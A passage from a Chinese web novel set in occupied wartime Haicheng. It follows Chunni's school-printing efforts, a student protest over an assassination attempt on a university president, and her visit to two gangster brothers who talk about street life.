常太太便住了脚:“好,文远,你一定把春妮送回家。这一带最近太不太平了,小姑娘可要留心一点。” 春妮一看常文远那样,就是有话跟她说。 果不其然,刚走出常先生家,常文远就说:“伯父可能不会走了。” 春妮猜到可能就是这个原因,事到如今,只好安慰他说:“现在大家都知道倭国人干的好事,倭国人面临的中外压力很大。想必在这个时候,他们是不敢乱来的。” 常文远摇了摇头:“伯父身中三枪,刚刚他住的地方你也看到了,根本不适合养病。” 春妮知道,他跟自己说起这些事,也只是因为一腔郁气无处倾吐,并没有指望她能对自己有所帮助。 她对常先生的固执深为不解:“常先生为什么坚持不走?那么些大学都撤去了内地,也都在继续招生啊。” 上回跟方校长聊过一回海城学校的现状后,事后她通过各种渠道特意了解过,知道那些被炸毁的大学,一部分留在了租界,另一部分则在陆续的撤离中。 “吴江大学校内损失不严重,是伯父他一直想问倭国人要回原来学校里的设备和藏书。” 春妮只能默然:在有些读书人眼里,书比命还重要。 “这怕是很难吧。” “很难。”常文远吐出口气:“但再难,只要有一线希望,这些书也不能落在倭人手里。” “最近常先生遇刺,租界内外反响很大,或许可以用这件事做做文章。”她说。 常文远看了春妮一眼:这真的不像是从一个刚从家乡逃出来,没上过学的小姑娘说出来的话。 不过她连云南白药这种稀缺药品都弄得到手,这也不是个普通姑娘能做到的事。 常文远想起伯父同他说的,这位小姑娘武艺高强的事,不由有些好奇:她功夫真的有这么厉害?那她还有什么能耐? 春妮这时也在暗暗观察常文远。 刚刚路过倭国巡捕房,她免不得又想起那天他在倭国巡捕房的怪异表现。 从表面上看,巡捕房附近已经恢复了平静。但春妮通过市井流言分析,知道这段时间被关进巡捕房里的人,大部分都是被偷偷运出去,在海城郊县挖筑各种地下工事。倭国人为了保密,事成之后通常是一粒子弹了帐。这些人只要进了巡捕房,没有通天的关系,绝对是回不来的。 那些人经过一夜的缓冲,说不定早逃到了租界,也算是逃出了一条命。反正春妮是没听说,有谁被再捉回来过。 两个怀有不同秘密的人相视一笑,同时咽下将要出口的问话。 ………… 春妮怀里揣着五十块钱巨款回到学校,迎面胡老师走来,他两手黑乎乎的沾满了油墨,看见春妮,她像遇到了救星:“小顾老师,你帮我到桶里舀些水,我把手洗一下。” 春妮一看就有了数:“你刻蜡纸又把纸勾破了?” “这回真不是我,”胡老师说:“这次是韩老师,他说天天压板子压得没意思,说跟我换一下,觉得他字好,力气大,刻蜡纸肯定没问题。这不就……” 春妮问:“校长还是不答应再买块铁板?” 说到这个,胡老师就没有了精神:“校长说,学校的房顶漏得太厉害,得用这个钱请几位师父好好修一修,现在瓦砖和油毡都不便宜。” 她一扭头,发现春妮在笑,不由不满道:“你笑什么?” 春妮拿出钱袋,朝她晃了晃:“你看,这是什么?” “钱哪,”胡老师说完回过味来:“常先生给你的?他怎么说?” 春妮去探望常先生的事没瞒着学校,来之前校长还托春妮到水果行买了个果篮,以学校老师的名义送了过去。 春妮将钱袋抛起,再接住:“先拿它买块好铁板吧。” 胡老师顿时笑开了花,撒腿向校长办公室飞奔过去:“校长,常先生给了我们买铁板的钱,咱们能买块新板子了!” “常先生给我们的钱?为什么常先生会给钱我们?” 不管春妮后来怎么说的,有了这笔药钱,校长很快买来一块新铁板,新铁板令老师们的工作效率大为提升,连带教材印刷的速度也由原来的六千张提升到了约七千张。 因为有了新铁板,蜡纸刻印不再那么容易勾破,一张蜡纸可以使用的频率直线上升,最终影响到教材印刷的效率,也是让人意想不到。 至于以常先生的名义购买铁板,春妮并不担心会被戳穿。 毕竟这笔钱牵涉到药品的来源和她的安全,常先生绝对会守口如瓶。至 于常先生会不会打探她失去这笔药钱的影响,春妮更不担心。他可能会有诸多猜测,但他是君子,不会主动询问别人钱财等私隐问题。 至于常太太给的那五十块法币,春妮也都塞进了那个钱袋里,看校长决定怎么用了。 春妮不想再操心这些琐事,因为中秋节马上要到,方校长终于宣布,学校可以放节日假了! 并且因为学校在初夏开学,顶着酷暑上了两三个月的学,学生们也需要一个长假来休息调整。 校长索性大手一挥,大方了一回,给师生们都放了十天的假。 十天啊,这么长的假期,春妮可得好好规划规划。 第35章 035 精彩的抗争 原本因为有印刷任务在身, 方校长宣布的放假是有条件的。 他预备安排老师们分为三组,每组两人,每天排两班的频率来兼顾教材的印刷。 但看到老师们听见放假时那一瞬间的表现, 特别是听见胡老师问:“校长, 那我们放完假回学校之后,是不是房顶就能修好了?” 王老师在他面前许愿:“要是咱们能印得更快些就好了。这样多出的钱在旁边搭个房子,不用这么些老师都挤在一起,做点什么都太不方便了。” 夏风萍则说:“我就盼着学校再搭几个厕所,这么多学生,每天下课排队都排半天,这味儿太可怕了。” 方校长突然有些不忍了。 这段时间, 老师们白天上课,晚上印刷, 每天忍受难闻的油墨味,在阴暗憋气的杂物间重复着没有一点成就感的枯燥工作,没有一个人叫苦叫累,他便以为, 老师们的潜力无穷。 直到这一刻,方校长才明白, 促使老师们坚持下去的,对工作的热爱是一方面,对理想生活的描摹才是最要紧的。人不是有了理想就会变成永动机, 再崇高的理想,也需要照在现实生活中, 让人们体会到切实的好处,再从这些好处中汲取到新的动力。 有了这笔印刷费用,学校的生存环境会有些许改变, 这才是他们坚持下来的动力。但老师们是人,他们会累也会倦。他们领着微薄的薪水,做着比纱厂女工还繁重的工作。学校条件有限,满足不了他们的物质需求,至少不该过于剥夺他们的精神快乐。 方校长想了两个晚上,宣布放假期间,学校会请几个学生来帮助完成印刷工作。作为答谢,学校将根据学生工作的时长和种类,给予他们一毛到五毛的奖励。 听到学校请学生印刷教材的消息,别说学生,连学生家长都激动了:在这样的年头,大人都活不下去,小孩能找点营生,那是多不容易的事。甭管挣多挣少,光是学校承诺的,给孩子们管这十天一日三餐的饭,就足以使人趋之若鹜。 包括方校长都没想到,老师们在课堂上一宣布这个消息,报名的人就挤满了办公室。因为报名人数太多,最后老师们不得不从每个班挑选出五个从品行到体形都没得挑的学生,将没被选上的学生哄劝回了家。 到了下午下学,春妮坐在她的凉粉摊子上,就看从弄堂里边出来的小学生们要么拉长个脸,像谁欠了他二五八万似的,要么抹着鼻涕眼泪哭唧唧,活似被人欺负了一般。不知道的,恐怕得猜这里边是不是藏着哪个□□窝点,这些小可怜们怕不是遭遇了什么非人对待。 说到底,还是穷闹的。 几位老师事后说,看学里几个站不稳的娃娃围着他们昂昂哭,心里真不是滋味。可他们什么活做不了,每天上学都还要父母来送,留他们下来,不是帮忙是添乱。 也是这时候,老师们才知道,学校中午的那顿饭,是很多孩子一天中唯一能吃饱的一餐饭。 放假对老师们是放松,对学生们而言,不一定是好事。 但连续超负荷工作这么些天,老师们的体力和精力都到了极限,无论如何,这假也是必须要放了。 因为学生们还不熟悉器具,每天还要有至少一名老师留在学校指点他们操作。 这一点不用春妮他们操心,方校长和韩老师说,反正他们也要守着学校,便将工作包揽了下来。 江浦小学这边有条不紊地安排师生们的假日工作,吴江大学的事情也到了一个关键节点。 因为常先生遇刺地点在法租界,他又是著名华人教育家,又曾经在美国留过学,社会关系极其强大,刺杀地点还是在众目睽睽之下,摆明不能就这么算了。 常文俊捉住的那名歹徒很快交代,他们是收了钱,受76号指派来刺杀常先生的倭伪特务。知道他将在近期内出访泰国,便赶在他为出行作准备的那几天中设下暗岗,力图将他以恐怖手段格毙! 常先生他们猜测,因为海城人反倭情绪高涨,政府方留在海城的地下抗倭人员又在前些日子重手刺杀了几个有意为倭人效力的社会名流,以至于维新伪政府的各部门工作人员迟迟不能到位,或是只能请到些腹中空空的货色充门面,倭人终于急了。 正好前些日子维新政府派去常家做说客的人被常先生强硬拒绝,他心生恼恨,当时就警告过常先生小心祸从口出,这回必然是想拿常先生开个刀,用以杀鸡骇猴。 巡捕房审问详情很快流露了出来,愤怒的学生们再也无法被拦住,将位于爱沙路76号,此时已有魔窟雏形的,未来将会令无数抗倭志士,爱国青年魂断的英式建筑围堵起来,严辞要求汉奸们必须交出人犯,给海城人一个说法。 常先生拦不住学生,怕他们出事,只好让家里人将他放进轮椅,跟着学生们一起去了爱沙路76号。 春妮后来听常文远说:“当时伯父让文俊将他推到最前面,跟守门的卫士说,他常某人就在这里,想抓他,这条命随时奉上。但若是这些学生们少了一根汗毛,别看他现在身体孱弱,只要他和他的同事朋友还有一口气在,有生之年,必将所有与此事相关的人送上绞刑架!” “那他们怎么说?”春妮听得出了神。 她想象不出,像常先生这样瘦弱文雅的读书人,明明刚刚经历一场性命危机,对面的敌人甚至差点杀死他,他是如何有勇气站在加害者面前说得出那样的话。 常文远冷笑了一声:“那些废物,只留两个小喽啰在那看门,正主们缩在楼上,一个都不敢冒头。” 他们当然不敢冒头,这些学生们都是不知天高地厚的愣头青,激动起来,可是会真的跟军警对峙,甚至是打死人的! 因为倭人借海城会战炸毁不少学校,又创造种种不便不许他们复课,教育界的愤怒早就到达顶点。以往是战争,倭国人找找借口可以勉强安抚众人。这次常先生光天化日之下被刺,动手的还是素有倭国第一打手之称的76号,一下子就点燃了海城人暗蕴许久的怒火。 原本吴江大学的学生们一时义愤跑到76号要说法,也只是抱着为自己校长鸣不平的最朴素想法。为首的学生也说,要是发现情况不对,大家四散跑了再说,甚至还安排了疏散的通道和交通工具,并不是只有一腔血勇。 但事情从常文俊推着常先生站到76号大门前开始,发生了变化。 原本一群学生忽然跑到一起闹事,在如今的海城已经是很难见到的景象,学生中再来一个一看就病得只能坐轮椅的学者,这个组合更加惹人注意。 爱沙路76号离海城最繁华的吴中路只隔一条街。学生们声势浩大,一方又龟缩不出,渐渐地,有胆大的路人靠过来,听见常先生的控诉,不由也气愤得咬牙切齿。 自从海城被倭人占领,海城人可是受够了这群土蛮子的鸟气! 平时走在大街上,华国人无缘无故被迎面走来的随便什么倭国人打两个耳光已是小事,更过分的,像倭人残害妇女,在大街上随便抓人做苦力……众人耳听目睹,关于倭人倒行逆施的事几天几夜都说不完。 连这群倭人身边的狗腿子气焰也比别人嚣张 可厌数分!而这群狗腿子竟敢在光天化日之下刺杀他们的大学校长! 倭人有军队惹不得,这群背祖忘义的狗腿子也敢仗势妄为,反了天了! 聚集在外的人越来越多,而聚集的人们怒火越挑越高,跟着学生们高喊着,声讨着—— 大门终于打开。 76号的二号人物齐士琴顶不住压力,站出来了。 很快有人将他认出来。 这个人自从投靠倭国人之后,组织暗杀,抓捕了不少抗倭志士。普通海城人可能不认识他,但这些统一着装,神色阴沉,一出现就搅得人鸡犬不宁的狗东西—— 他扰民啊! 齐士琴的出现非但没有起到缓和作用,反而刺激得街坊邻居们更愤怒了。 这家伙见势不妙,立刻缩了回去,让人在里面喊话,说这些人再不散去,将会被视为顽固抗倭分子予以逮捕甚至是扑杀。 他的喊话一开始是吓到了一群人,可这些学生热血上头,听到这火上浇油的话,不但没有被吓住,反而拾起砖头石块什么的往里扔。眼看这次事件一个处理不好,将会演变成一场流血,甚至是屠杀,不知是谁横空出了一招,将巡捕给寻了来! 76号所在的爱沙路不在租界内,属于英国人越界筑路的产物,也是英国人传统的势力范围。海城沦陷后,加上国际局势的变化,英方逐渐势弱。遇到这样的事,他们往往等人散了,才派两个人来走走过场。76号如今的名声在海城不显,但在另一群人眼里,早就凶名赫赫。 这个纠集了地痞流氓的第一汉奸组织,他们除了钱什么都不认,是彻头彻尾的亡命徒。 外国人的名字在倭人那里不好使,还是能略紧一紧这些汉奸们的狗链子的。英国人不得不跟76号交涉,发现他们底气并没有那么足。 倭人炸毁的学校中有不少是教会学校,某种程度上说,学校迟迟无法复学,这些外国人的利益也受到了侵害。加上后来不知是谁又寻来了美国人和遇刺案发生地的法国人,几方人马互相制衡,常先生抓住机会,促成了各方向倭人争取教育权力的小小联合。 春妮放假第一天去探望他时,他正奔走在谈判的几方之间,找机会为吴江大学谋取好处。 这次的事一闹大,几方势力注视,尤其是美国人掺合了进来,倭人也要顾忌几分,常先生近期之内应当是不会再有性命之危了。 春妮扑了场空,因为听了场精彩的抗争,却也不如何失望。 常先生短时间之内抽不开身,她还有九天的假期,接下来该怎么打发呢? 漫步在回家路上,春妮随意看着从她身边走过的人群,看到一个人时,突然有了主意。 第36章 036 大丈夫有所为 那人一身粗布衣裳, 样式却是倭人常穿的宽袖长衣。头上缠着白色的布条,一眼看上去,跟街上那些行走中的倭人没有两样。 “王阿进。”春妮开口叫他。 转身过来的人斜眉歪眼, 果然是数天不见的王阿进。 他挤眉弄眼地冲春妮哈腰:“小顾姐, 您老最近还好?” 夏生冲他做了个鬼脸:“臭倭国蛮子!” 夏生知道春妮认识了一个学问高得不得了的大学校长,早就想跟姐姐去见识见识,可这几个月来姐弟两个一个忙着赚钱,一个忙着上学,没能错出个合适的时间去拜访常先生,才一直拖到了她中秋节送节礼这一天。 王阿进这个样子,简直跟夏生几个同学在本子上涂画的倭国人一个形象。 “你怎么穿成这样?”春妮皱眉。要不是看见他肩上挑的那两个破筐, 她一时还不敢叫。 王阿进苦笑:“小顾姐,最近生意不好做啊, 我不这么穿,万一被倭国巡警抓住一顿臭揍怎么办?” 虽说维新市长跟巡捕房达成了协议,可谁都知道,固定摊贩收费高, 牌照办理定然又是个坑,像王阿进这样的小贩肯定买不起。 “你就不怕被华国人抓住一顿臭揍?” 王阿进嘿嘿一笑:“这不怕, 我只要不说话,谁知道我是不是真倭国人?别人都躲我躲得老远。再说,”他怪腔怪调吐出几句话:“梨子要不要, 苹果要不要?看这音调,是不是很像倭国话?” 春妮姐弟:“……” 他从筐里拣出两个梨子, 拿袖子擦擦,递给春妮姐弟俩:“城南新出的青皮大蜜梨,尝尝, 可好吃了。” 春妮不收他的:“留着你自己吃吧。我找你来,是想问你,德三还在你家住吗?” 不卖馒头之后,李德三每天都去学校,春妮不担心他出了事,这回找他是有其他的事。 “在啊。” “你现在方便吗?带我去你家,我找他有事。” 王阿进脸颊一抽:“小顾姐您想去我家?” “怎么?不方便?” “方便,很方便!小顾姐跟我这边来吧!”王阿进笑得有点勉强。 春妮正要跟上去,衣襟动了动,却是夏生拉了她一下,姐弟俩落在后边,听他小声道:“姐姐,这人不好。” 春妮以为他还在为他身上穿的倭国人衣裳迷惑,解释说:“他不是倭国人,是咱华国人。” “我知道,”夏生不高兴道:“韩老师跟我们说,大丈夫有所为,有所不为。这人为了卖他的梨子连倭国人都肯当,他不是个好人。” 春妮反问他:“若他不是大丈夫呢?” “啊?”夏生被问愣住了。 春妮揉揉他的小脑袋,轻声一叹:“好好学着吧,这世上大丈夫少,多的是没有多大理想,只求吃饱穿暖的普通人。你若只跟大丈夫来往,很容易没朋友的。” 夏生学着她,突然也老气横秋地叹了口气:“可是现在吃饱穿暖好难哪,我觉得能吃饱穿暖,就不是普通人啦。” 这小家伙! 春妮弹他一下脑瓜嘣:“是姐姐我没给你吃饱还是没给你穿暖?” 夏生捂着脑袋哇哇叫起来:“姐姐,我又没说你!”声音低落下来:“是大胖啦,他妈病了,他大姐夫不许他大姐回娘家帮忙,每天大胖都从午饭里省下一个馒头带回家给妹妹吃。要是学里放了假,他家可怎么办?” 春妮上次对夏生的这个同桌有印象,还是听老师们说,这孩子将臭虫放到倭人的衣服里,将之当成自己“抗倭”的光荣事迹来学里炫耀出来。 这孩子叫大胖,实际就是一个大脑袋支着个细脖子。据夏生告诉他姐说,他爸妈叫他大胖,是希望他长得胖些,可他刚来时几乎是学里最细瘦的一个孩子,几个老师私底下都生怕他跑得快些跌一跤摔断了脖子。 这次学里选学生印刷,大胖自然也去报了名,毫无意外,他第一轮就被刷了下来。 “姐姐,我想帮帮大胖。”夏生扯扯春妮的袖子:“好不好?” “他家里的姐姐妹妹没有活做吗?” 夏生摇了摇头:“他大姐嫁出去后就没人再做活了,大胖的两个妹妹平时在家里给他妈打下手。他妈病了,接不到活,他们家是真的要饿死了。” “那你想怎么帮他?” “这……让我想想吧。”夏生叹气,“这世上穷人怎么这么多呢?要是人人都有活做,是不是就不会有人饿死了?” 昨天晚上朱先生同他们讲,上个月他一个朋友做了期报道,报道的内容是海城街上那些逃难过来,无处可住的流浪人群。 朱先生的这位朋友一个月内走遍了海城,根据他对这些流浪人群的粗略统计,他们每个月至少有五六千人死于疾病和饥饿,还有数百人一夜过去下落不明。 这些下落不明的人中,男人们极大一部分是被□□掳去卖往海外做奴工,还有的,是倭人下的手,这一 部分人的去向,那就没谁说得准了。而女人们只有一个出路——叫人贩子卖去城里的下等妓院。 也就是说,只是在海城一地,每个月至少有数千人死于非命。 即使如此,仍有源源不断的难民逃往这座并不美好的城市,因为这里尚有一线生机,外面的日子更难过。 昨晚夏生也问出这个问题,但这个话题过于沉重,没人有心情耐心给他解答。 春妮还没说话,一直闷头走路的王阿进插了句嘴:“要说以前,咱们海城是真的人人有活做。那时候多好,我娘大字不识一个,长得又丑,当娘姨都没人肯要,都还有个不错的活计呢。” “那你娘做的什么?”夏生小孩子一个,有人肯跟他说话,他立刻忘了先前的小小芥蒂。 “挑沙啊。”王阿进自豪地说:“我娘种田出身,她力气大。嫁到我们家后,跟着我爹一起去挑沙,每天能赚三毛钱呢。别小看这三毛钱,那时候三毛钱能买斤大肥肉,再加十个肉包子呢。你们不知道挑沙是什么?那时候到处盖房子,我娘就是在工地上干那个的。” “那现在呢?你娘还在挑沙吗?” “现在我娘去地下享福去啦,”王阿进换了下肩膀:“幸好她老人家过世得早,就是她老人家在世,也挑不了沙啦。” “为什么?” 王阿进塞给夏生一个梨子:“因为没人盖房子了啊。” 这回他欢欢喜喜地接了,来不及啃一口,“啊”地一声:“为什么不盖了?不是说海城到处没房子住?” “还能为什么?因为倭国人来了呗。这些倭国人不干好事,今天抄这个人的家,明天杀那个人的头,还动不动抢人铺子,人心惶惶的,谁还去盖房子?万一房子没盖完,脑袋掉了,不是白白便宜别人?” 夏生就骂一句倭国人:“倭国人祸国殃民!”还把新学的成语给用上了。 王阿进表示同仇敌忾:“可不是,春园弄靠码头这边,你知道吧?” “知道,我跟约瑟夫在那块捉过迷藏。他们说那片以前好多铺子,全都被炸了。” “没错,我家以前的铺子就在那。要不是被倭国人炸得连块整石头都没剩下,我们哥俩也不会沦落到今天这一步,你说是不是?” 这回夏生想起来他身上的倭国衣裳,嫌弃道:“那你也不能忘了祖宗,给倭国人戴孝吧?” 因为倭国人喜欢在额间勒白布条,夏生几个孩子们故意说倭国人肯定天天家里都有人死,才会天天戴孝。 “谁说我王阿进忘了祖宗?”王阿进突然怒喝一声,扔下挑筐,胸脯拍得邦邦响:“这一身,爹生娘养,纯种的华国人。我王阿进今天穿这身衣裳是为了生计,我是咋样生人,一辈子都不会忘!” 夏生看了他一会儿,抿起嘴唇:“好,你今天说的话,你记着!” “不能忘!”王阿进重新挑起挑子,小声道:“真忘了,死了可还咋见祖宗?” 夏生耳朵尖,听见他的嘀咕,道:“我们老师说了,你那叫封建迷信。人死了就是死了,没有祖宗,没有鬼,什么都没了。” 这王阿进就不同意了:“你们老师平时都教你个啥?人死了有阴曹地府都不知道?净瞎胡说!” “你懂什么,我们老师知道的可多可多了,你不许这么说我们老师!” 这一大一小,说着说着又吵起来了。 春妮不得不提醒王阿进:“你看这是不是春园弄?” 王阿进一顿,转过来对春妮点头哈腰:“哎哟,瞧我这,跟小阿弟聊得太开心,都差点不记路了,小顾姐,你这边请,我们家就在前边一点。” 王阿进住的春园弄在学校后边一点,跟春妮住的三元里隔着码头遥遥相望。 但跟三元里这头一满排齐齐整整,新鲜精神的石库门不同,春园弄全是土木混合的瓦房。这些房子多数建于上个世纪,海城新开埠不久。住在这一代的,基本是海城的第一代移民。 时代变得那么快,这一栋栋白墙灰瓦的江南民居如今斑驳落魄到早看不出旧时的模样。 走在小石板地上,破旧的木窗槅里妇人在叫骂:“老东西,整天在外头跟野女人……” 春妮瞪了眼正伸着耳朵听墙角的夏生。 王阿进边走边跟春妮笑:“说起来,我娘当年在三元里干过活,说不定小顾姐您住的房子她还盖过呢。慢点,这边,哎,快到了。” 就在这时,一声大骂冲破围墙:“册那臭丫头,别叫她落在老子手里!” 春妮停下来,望着王阿进似笑非笑:“就是这里?” 第37章 037 不敢造次 王阿进大声咳嗽:“我回来了。大哥快来给我开门。” “鬼叫什么?李德三, 没听见你进哥回来了?还不开门去?” 春妮听到这里,还有什么不明白的?难怪一路上他明里暗里说了自己兄弟这么些好话。原来他那个传说到了城西就没回来的兄弟今天在家啊! 王阿进瞥着春妮嘴角的笑意,手心直冒冷汗:上回他哥不长眼, 惹到这小姑奶□□上, 被教训两次。头一回躺在床上几天起不来,第二次直接被折断一只手,今天……他这个哥在外边混帐是混帐了一些,对他却没得说,他一点都不想给他哥收尸啊! 别看这小姑奶奶长得又干又瘦,见人就笑呵呵,王阿进相信, 她那两条又干又瘦的小细胳膊拧起人的脑袋来,也是毫不含糊。 德三可是小姑奶奶罩着的小兄弟, 他哥还使唤人干活,找死也不是这么找法的…… “哥你来给我开门,德三伤还没好,你别折腾人家。”王阿进只望着他哥能聪明点, 别总长找死的本事。 可显然他的算盘落空了,王老六大骂道:“在我家白吃白住这么些天, 六爷我没找他要食宿费,使唤他两下怎么了?真当自己是身娇肉贵的大少爷?李德三,你少在六爷面前耍——” 吱嘎一声, 门开了。 王阿进顾不得旁边的煞神,扔了筐子就朝里跑:“王老六你这个蠢货, 快给老子闭嘴!” 春妮进门时,王老六跟他兄弟扭在一起,差点打起来。 看见春妮进门, 王老六一下跳起来,随后被他兄弟一拳打到脸上,他没吭得一声,翻身倒下。 王阿进恨铁不成钢:“一天到晚,灌两口黄汤都不知道自己姓甚名谁。王老六,你活着给爹娘丢脸,死了叫祖宗蒙羞!我今天就以下犯上,打死你这个王家的不孝子孙算了!” 春妮冷眼看这一场闹剧,王阿进是真的没留手,没一会儿王阿六就被打得鼻青脸肿,开始抱头哀嚎:“轻点,你轻点啊!” 而夏生则好奇地问春妮:“姐姐,老师之前跟我们讲的,‘杀猪般的嚎叫’是不是就是这样的啊?” 春妮:“……” “噗。”李德三没忍住笑了出来。 这一笑,两兄弟也不好再装下去。 王阿进将王老六踹起来,转过身讪讪笑着:“小顾姐,我哥他嘴巴一向臭,不会说话。您……您要是有不高兴的,只管跟我说,我帮您揍他!” 春妮看了这两个一会儿,看得两兄弟弓腰缩背,不敢与她对视,转头问李德三:“你在他家白吃白住了?” 李德三摇头:“没有,我每天都给进哥交伙食费。” 春妮也是看他精神尚好,比之在苏南窝棚那住着的时候气色好多了,猜着他应该没在这受多少气,才没打算认真计较。 她道:“那就好,你在这好好住着,该交的钱不少他的。但要是有人欺负你,你别忍着干受委屈,知道吗?” 李德三觉得怪异极了,尽管他早就知道春妮本事高,可他心里,春妮从来是他刚认识那会儿,被倭人巡捕追赶,需要他帮忙才能逃脱的小姑娘。他不自在道:“进哥待我很好,春妮,你不用□□的心,我能管好自己。” 王阿进又踹了王老六一脚。 王老六就势在地下滚过半圈,半直起身子,冲着春妮的方向开始邦邦磕头 :“小姑奶奶,小顾姐,对不住,我王老六不是人,说话不过脑子,该打——” 说着,举起手掌就要往脸上扇。 “好了,”春妮看了眼夏生,这小子眼睛贼亮,那叫一个兴奋啊……她厌烦地说:“别在我面前耍宝,快给我滚起来!” “唉,唉。”王老六爬起来,特别自觉地缩到了一边。 王氏兄弟别的不说,会看眼色是一等一的。 春妮教训王老六这两句话的功夫,王阿进已经跑回堂屋端出个破圈椅:“小顾姐,您坐,坐这!” 春妮:“……”你单独弄个椅子,叫别人都站着,我坐着,真当我是□□老大了? 她径直问李德三:“你伤好得怎么样了?” “已经好得差不多了。” 春妮仔细打量他几眼:他头上的伤口早就结了痂,整个人面色红润,的确像没有了什么大碍的样子。 春妮估计他就是轻微脑震荡,现在好好休息半个多月,也是该好的时候了。 “那你好之后,有什么打算吗?” “我能有什么打算?还回去卖我的报纸呗。”李德三两手一摊,无奈道:“至少背着报纸包比挑着馒头跑得快吧。” 春妮就说:“那你还来帮我吧。” 李德三面露迟疑:“这……还是不了吧?” 春妮知道他误会了,解释道:“我不是让你再去倭人那卖馒头。” “那是去干什么?” “我寻思着,中秋节过后,凉粉肯定不能再卖。我准备在原来那地方做些别的东西卖,你到时候来帮我吧,”想想又问:“身子能撑得住?” “我肯定没问题,”李德三挺起胸膛:“要不是你今天过来,我明天就回报摊取报纸重新去卖了。” “只怕你报纸也不好卖啦,”王阿进插了句嘴:“这两天,我看倭人那几个报摊也进了些华文报纸,你要是再去,就是跟人家抢生意啦。” “这些倭人,真不给人一点活路。”李德三抱怨道:“他们以前只卖倭人报纸不也卖得挺好?他们卖他们的,我们华国人卖华国报纸,井水不犯河水不好吗?” “谁还嫌钱多烫手不成?”王阿进道:“江浦那一片本来只有倭人,现在准许华人去那做生意,肯定以后华人要多起来。倭国人跟钱又没仇,不抢生意才稀奇了吧?” 李德三不服道:“也要他们卖得出去才好。以前那些倭国土蛮子看见我们就打,哪个华国人没事上他们的地盘找揍?” “也不能这么说,不是所有的倭国人都这么坏的。” 王阿进这话顿时捅破了马蜂窝:“胡说!倭国人哪有不坏的?” “放你娘的屁!好你个王阿进,你还说你没忘了祖宗?!” 李德三和夏生异口同声,同时指着王阿进大骂。 前者先不说,夏生立刻叫他姐给弹了个脑瓜崩:“好好说话!” 李德三前段时间吃足了倭国人的苦头,王阿进这话可是让他恨得牙根儿直痒。 不给他说话的机会,一阵风似地刮进屋,又一阵风似的刮出来,手上多了个小包袱:“进哥觉得倭国人好,你跟倭国人住去,我还回我的苏南窝棚去。” “唉唉唉,德三,德三不至于,不至于啊。”王阿进慌忙来拦他:“哥哥我你还不知道?我就是嘴巴不把门,你别跟哥一般见识。六哥,六哥你快来帮我劝劝啊。” 王老六原本缩在墙根,都快溜出了院门,让亲弟弟一叫,不得不拦在李德三的面前,口不对心道:“德三,你做做样……我是说,你进哥就是随便说说,他是个啥人,你还不知道,对不?你看也就是收你些伙食费,我们哥俩这么缺钱,你住我们家房子,他一分钱租金没收你的,是不是?” 李德三垂着头没说话。他虽身世坎坷,也只是个没满十三岁的小少年。不像这院子里的其他人一样,他的爱憎仍是相当分明。 春妮寻思:要是叫德三知道,那天她送他的一块钱礼金中有六毛钱都是倭国人给的,这小子别不会还要跟她翻脸吧? 她肯定不会像王阿进那样,主动说倭国人的好话。倭国人中有好人是肯定的,可春妮哪是那么容易被打动的人?一点小恩小惠,收买不了她。 不过,有机会的话,搞搞清楚那个女人是干什么的,以后有了麻烦,说不定还能找她帮帮忙…… 春妮发散一会儿思维,看这么僵着不是个事,劝道:“德三把东西放下吧。你那窝棚这么些天没回去,说不定早叫人占走了,万一没地方住,岂不是要流落街头?” 李德三微微一僵。 王老六立刻笑道:“还是小顾姐最明白,德三,听哥的劝。你对我们哥俩有什么意见,也得等安顿好自己再说,是不是?” 兄弟两个半哄半夺,将李德三的小包袱夺下来,王阿进连忙跑回屋,给他放了回去。 进屋之前,王阿进踢了王老六一脚。 王老六两腿一弯又要跪,让春妮喝住:“行了行了,别跪去跪来的。” 王老六哭丧着脸:“不是……小顾姐,我刚刚就是图个嘴快活,绝对没有跟您做对的意思——” 春妮突然抬手,吓得王老六立刻抱住了头往下蹲:“小顾姐手下留情!” 春妮:“……你是不是以为我就会打人?” 王老六哪敢随便再说心里话,观察再三,见她的确没有追究的意思,才敢赔笑道:“那当然不是,小顾姐您教训我们也是我们犯错,招惹您在先。不像是我们赌档兄弟们,接的活千奇百怪。上回我们兄弟被邀去打人,只因为那人有狐臭,把请我们去的人熏到了。” “哈哈哈哈!”夏生突然被逗笑了,好奇道:“你们不是专门给赌场干活的吗?” 码头这边也有地下赌档,只是这边住的多是穷人,加上有商会管理,规模做不起来,英国人就懒得管了。 王老六见春妮没阻止,笑着道:“一般情况是这样的。可要是有跟我们这些兄弟们关系好的朋友来请帮忙,不耽误正事的话,我们也不介意出个外活。” “那你们是只要出钱,谁都会去揍吗?” 王老六有心吹个牛,可春妮在这,到底不敢造次,老实答道:“那倒不是。在城西那一带混日子,首先要会认人,谁能惹谁不能惹,得记清楚。不然的话,打了不该打的人,说不定哪一天就该自己横尸街头了。” 夏生顿时哆嗦一下,春妮趁机教育他:“听见没有?不管你是什么人,只要有本事,旁人就不敢来招惹你。” 夏生用力点头,又问道:“那城西岂不是那天天打打杀杀的?没人管你们吗?” 王老六又笑了一下:“小哥知道城西是什么地方吗?” 他见夏生答不上来,说道:“应该是华界,但英国人在那筑了路,76号也在那,你说该谁管?” “啊?那你们不是谁都能管?”小小的夏生通过常先生,也知道了76号是什么地方。 “错!”王老六晃了晃手指:“是谁都想管,但谁都管不了我们!” 连李德三都顾不上闹别扭,问道:“这里怎么说也算华界,市政府不管吗?” “哈!市政府!”王老六笑得很讽刺: “我跟你们说,你们可千万别外传啊。要不是我们城西的支持,这次新市长上任,他办公室撑排场的人都找不齐呢。” 李德三大吃一惊:“新市长跟你们赌档一边的?” 第38章 038 恍然大悟 春妮跟着王阿进到王家, 原本只预备跟李德三商量商量他今后的营生,想不到这一留就到了月上中天。 抛开人品不谈,王氏兄弟都是能说会道的人。 尤其王老六, 这个月, 他被丢到城西后见识大涨。见春妮对这些事感兴趣,更是卯足了劲把他知道的东西都掏出来奉承给这位小姑 奶奶听。 什么绑架勒索,拐卖妇女,拆白党啦……这里头的龌龊勾当一句两句哪里说得清?春妮是有过大见识,王老六再说什么她都不稀奇,而夏生他半懂不懂的,只当是跟他姐姐说的那样, 出来长长见识,也不打断他, 就听王老六东拉西扯说了一个下午。 王氏兄弟有意讨好春妮,王老六说累了,王阿进再接上,说一说自己在街上做买卖的老经验, 譬如遇到英国人该怎么说,遇到法国人又该如何, 若有蛮横的小混混来搅局如何,遇到干吃不给钱的又怎么办云云。 中间到了饭点,王氏兄弟还殷勤地去外头酒馆叫桌小席, 请春妮姐弟两个吃了。 春妮不怕这兄弟两个会坑害她,不客气地受用了这桌肥鸡大鸭子。 老实说, 从到海城起,除了夏风萍请姐弟俩吃过的那餐饭,这还是春妮第二回吃得这么丰盛。 按理她手上赚了几个钱, 